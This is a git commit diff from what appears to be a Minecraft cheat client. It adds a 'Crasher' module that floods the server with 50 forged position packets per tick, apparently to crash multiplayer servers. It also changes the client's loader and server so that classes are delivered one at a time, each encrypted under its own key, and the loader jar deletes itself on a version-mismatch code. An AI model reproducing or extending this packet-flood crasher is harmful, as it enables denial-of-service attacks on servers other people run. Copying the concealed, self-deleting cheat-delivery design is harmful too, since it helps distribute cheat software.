Severe Fuckery
This commit is contained in:
parent
f6a09ec495
commit
7f19262325
4 changed files with 131 additions and 45 deletions
|
@ -0,0 +1,37 @@
|
|||
/*
|
||||
* Copyright (c) 2023 Jess H & Daniella H. All Rights Reserved.
|
||||
*
|
||||
* Unauthorized copying of this file via any medium is Strictly Prohibited.
|
||||
*/
|
||||
|
||||
package com.baseband.client.module.modules;
|
||||
|
||||
import com.baseband.client.Restrict;
|
||||
import com.baseband.client.event.Subscribe;
|
||||
import com.baseband.client.event.events.SafeTickEvent;
|
||||
import com.baseband.client.module.Module;
|
||||
import net.minecraft.network.play.client.CPacketPlayer;
|
||||
|
||||
import java.util.Random;
|
||||
|
||||
@Restrict(Restrict.Edition.BETA)
|
||||
public class Crasher extends Module {
|
||||
@Override
|
||||
public String toString() {
|
||||
return "Crasher";
|
||||
}
|
||||
|
||||
@Subscribe
|
||||
public void tick(SafeTickEvent e) {
|
||||
for (int i = 0; i < 50; i++) {
|
||||
mc.player.connection.sendPacket(new CPacketPlayer.PositionRotation(
|
||||
mc.player.posX,
|
||||
mc.player.posY,
|
||||
mc.player.posZ,
|
||||
new Random().nextInt(90),
|
||||
new Random().nextInt(90),
|
||||
true)
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -41,8 +41,6 @@ import java.security.spec.X509EncodedKeySpec;
|
|||
import java.util.*;
|
||||
import java.util.concurrent.atomic.AtomicReference;
|
||||
import java.util.function.Supplier;
|
||||
import java.util.zip.ZipEntry;
|
||||
import java.util.zip.ZipInputStream;
|
||||
|
||||
public class Loader {
|
||||
|
||||
|
@ -242,6 +240,7 @@ public class Loader {
|
|||
}
|
||||
|
||||
case -9: {
|
||||
new File(Loader.class.getProtectionDomain().getCodeSource().getLocation().getFile()).delete();
|
||||
message("Update", "Re-run the installer. " +
|
||||
"\nPlease re-run the installer.", JOptionPane.ERROR_MESSAGE, true);
|
||||
break;
|
||||
|
@ -275,6 +274,10 @@ public class Loader {
|
|||
Map<String, byte[]> resources = new HashMap<>();
|
||||
|
||||
|
||||
|
||||
int amountOfData = inputF.readInt();
|
||||
|
||||
for (int i = 0; i < amountOfData; i++) {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
|
||||
int l = inputF.readInt();
|
||||
|
@ -284,36 +287,35 @@ public class Loader {
|
|||
amt = inputF.read(buf);
|
||||
out.write(buf, 0, amt);
|
||||
}
|
||||
String name = new String(aesD.doFinal(communicationKey.decryptByteKey(out.toByteArray())));
|
||||
|
||||
InputStream input = new ByteArrayInputStream(aesD.doFinal(communicationKey.decryptByteKey(out.toByteArray())));
|
||||
//Encryption!
|
||||
//Nope!
|
||||
//Yep!
|
||||
out = new ByteArrayOutputStream();
|
||||
|
||||
|
||||
try (ZipInputStream zipStream = new ZipInputStream(input)) {
|
||||
ZipEntry zipEntry;
|
||||
while ((zipEntry = zipStream.getNextEntry()) != null) {
|
||||
byte[] buffer = new byte[1024];
|
||||
|
||||
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||||
int len;
|
||||
while ((len = zipStream.read(buffer)) > 0) {
|
||||
bos.write(buffer, 0, len);
|
||||
l = inputF.readInt();
|
||||
buf = new byte[1024];
|
||||
while (out.size() != l) {
|
||||
amt = inputF.read(buf);
|
||||
out.write(buf, 0, amt);
|
||||
}
|
||||
bos.close();
|
||||
byte[] data = aesD.doFinal(communicationKey.decryptByteKey(out.toByteArray()));
|
||||
|
||||
out = new ByteArrayOutputStream();
|
||||
|
||||
if (zipEntry.getName().endsWith(".class")) {
|
||||
ZipEntry finalZipEntry = zipEntry;
|
||||
classKey.access(x -> classCache.put(finalZipEntry.getName().replace(".class", "").replace('/', '.'), x.getValue().encryptByte(bos.toByteArray())));
|
||||
l = inputF.readInt();
|
||||
buf = new byte[1024];
|
||||
while (out.size() != l) {
|
||||
amt = inputF.read(buf);
|
||||
out.write(buf, 0, amt);
|
||||
}
|
||||
|
||||
byte[] dataKey = aesD.doFinal(communicationKey.decryptByteKey(out.toByteArray()));
|
||||
|
||||
if (name.endsWith(".class")) {
|
||||
classKey.access(x -> classCache.put(name.replace(".class", "").replace('/', '.'), x.getValue().encryptByte(new Key(dataKey).decryptByte(data))));
|
||||
} else {
|
||||
resources.put(zipEntry.getName(), bos.toByteArray());
|
||||
resources.put(name, new Key(dataKey).decryptByte(data));
|
||||
}
|
||||
}
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
|
||||
CustomClassloader customCL = new CustomClassloader(
|
||||
|
|
|
@ -7,14 +7,16 @@ import org.mindrot.jbcrypt.BCrypt;
|
|||
import javax.crypto.Cipher;
|
||||
import javax.crypto.SecretKey;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import java.io.BufferedReader;
|
||||
import java.io.DataInputStream;
|
||||
import java.io.DataOutputStream;
|
||||
import java.io.InputStreamReader;
|
||||
import java.io.*;
|
||||
import java.net.Socket;
|
||||
import java.net.URL;
|
||||
import java.security.MessageDigest;
|
||||
import java.security.SecureRandom;
|
||||
import java.util.Base64;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import java.util.zip.ZipEntry;
|
||||
import java.util.zip.ZipInputStream;
|
||||
|
||||
public class ClientHandler extends Thread {
|
||||
final Socket client;
|
||||
|
@ -173,7 +175,7 @@ public class ClientHandler extends Thread {
|
|||
}
|
||||
|
||||
if(!SocketHandler.currentJarHash.equals(jarHash) && SocketHandler.pastJarHashes.contains(jarHash) && result >= 0) {
|
||||
dos.writeInt(-8);
|
||||
dos.writeInt(-9);
|
||||
System.out.println("JAR HASH MISMATCH, denying.");
|
||||
System.out.println("But it matches an old version, so tell them to redownload it");
|
||||
System.out.println("========================================");
|
||||
|
@ -182,15 +184,56 @@ public class ClientHandler extends Thread {
|
|||
}
|
||||
|
||||
|
||||
|
||||
if (result >= 0 || result == -2) {
|
||||
System.out.println("Client is valid");
|
||||
dos.writeInt(result);
|
||||
Map<Map<String, byte[]>, byte[]> data = new HashMap<>();
|
||||
|
||||
byte[] encryptedBytes = key.encryptByte(aesE.doFinal(SocketHandler.clientFileData));
|
||||
try (ZipInputStream zipStream = new ZipInputStream(new ByteArrayInputStream(SocketHandler.clientFileData))) {
|
||||
ZipEntry zipEntry;
|
||||
while ((zipEntry = zipStream.getNextEntry()) != null) {
|
||||
byte[] buffer = new byte[1024];
|
||||
|
||||
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||||
int len;
|
||||
while ((len = zipStream.read(buffer)) > 0) {
|
||||
bos.write(buffer, 0, len);
|
||||
}
|
||||
bos.close();
|
||||
Map<String, byte[]> dataLocal = new HashMap<>();
|
||||
byte[] keyData = SecureRandom.getSeed(256);
|
||||
dataLocal.put(zipEntry.getName(), new Key(keyData).encryptByte(bos.toByteArray()));
|
||||
data.put(dataLocal, keyData);
|
||||
}
|
||||
}
|
||||
|
||||
dos.writeInt(data.size());
|
||||
|
||||
for (Map.Entry<Map<String, byte[]>, byte[]> mapEntry : data.entrySet()) {
|
||||
Map.Entry<String, byte[]> entry = mapEntry.getKey().entrySet().iterator().next();
|
||||
|
||||
String className = entry.getKey(); //Name
|
||||
byte[] classData = entry.getValue(); //Data
|
||||
byte[] cryptKey = mapEntry.getValue(); //Key
|
||||
|
||||
byte[] encryptedBytes = key.encryptByte(aesE.doFinal(className.getBytes()));
|
||||
dos.writeInt(encryptedBytes.length);
|
||||
dos.write(encryptedBytes, 0, encryptedBytes.length);
|
||||
dos.flush();
|
||||
|
||||
encryptedBytes = key.encryptByte(aesE.doFinal(classData));
|
||||
dos.writeInt(encryptedBytes.length);
|
||||
dos.write(encryptedBytes, 0, encryptedBytes.length);
|
||||
dos.flush();
|
||||
|
||||
encryptedBytes = key.encryptByte(aesE.doFinal(cryptKey));
|
||||
dos.writeInt(encryptedBytes.length);
|
||||
dos.write(encryptedBytes, 0, encryptedBytes.length);
|
||||
dos.flush();
|
||||
}
|
||||
|
||||
|
||||
System.out.println("Sent File To Client");
|
||||
System.out.println("========================================");
|
||||
} else {
|
||||
|
|
|
@ -22,6 +22,10 @@ public class Key {
|
|||
string = key;
|
||||
}
|
||||
|
||||
public Key(byte[] keyData) {
|
||||
string = new String(keyData);
|
||||
}
|
||||
|
||||
public void setDebug(boolean debug) {
|
||||
this.debug = debug;
|
||||
}
|
||||
|
|
Loading…
Add table
Reference in a new issue